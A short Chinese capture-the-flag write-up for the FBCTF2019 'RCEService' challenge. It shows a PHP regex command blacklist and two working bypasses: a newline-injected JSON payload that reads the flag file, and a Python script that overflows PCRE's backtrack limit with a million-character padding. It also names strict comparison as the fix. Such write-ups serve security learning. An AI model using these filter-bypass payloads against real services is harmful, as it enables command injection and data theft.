[FBCTF2019]RCEService
传入json格式的cmd
{“cmd”:“ls”}
但是很多命令都不能用，源码过滤如下：
elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
非预期：preg_match只能匹配第一行数据，所以用换行符换行：
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}//路径是找出来的
预期：
其实是pcre回溯次数限制绕过，参考p牛文章：
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
大致意思是正则回溯最大只有1000000，如果回溯次数超过就会返回flase，构造1000000个a，使回溯超过限制就会绕过正则匹配，限制次数在php.ini的pcre.backtrack_limit有，而不造成这个漏洞的方法就是使用强比较===
文章写的很详细了
payload：
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)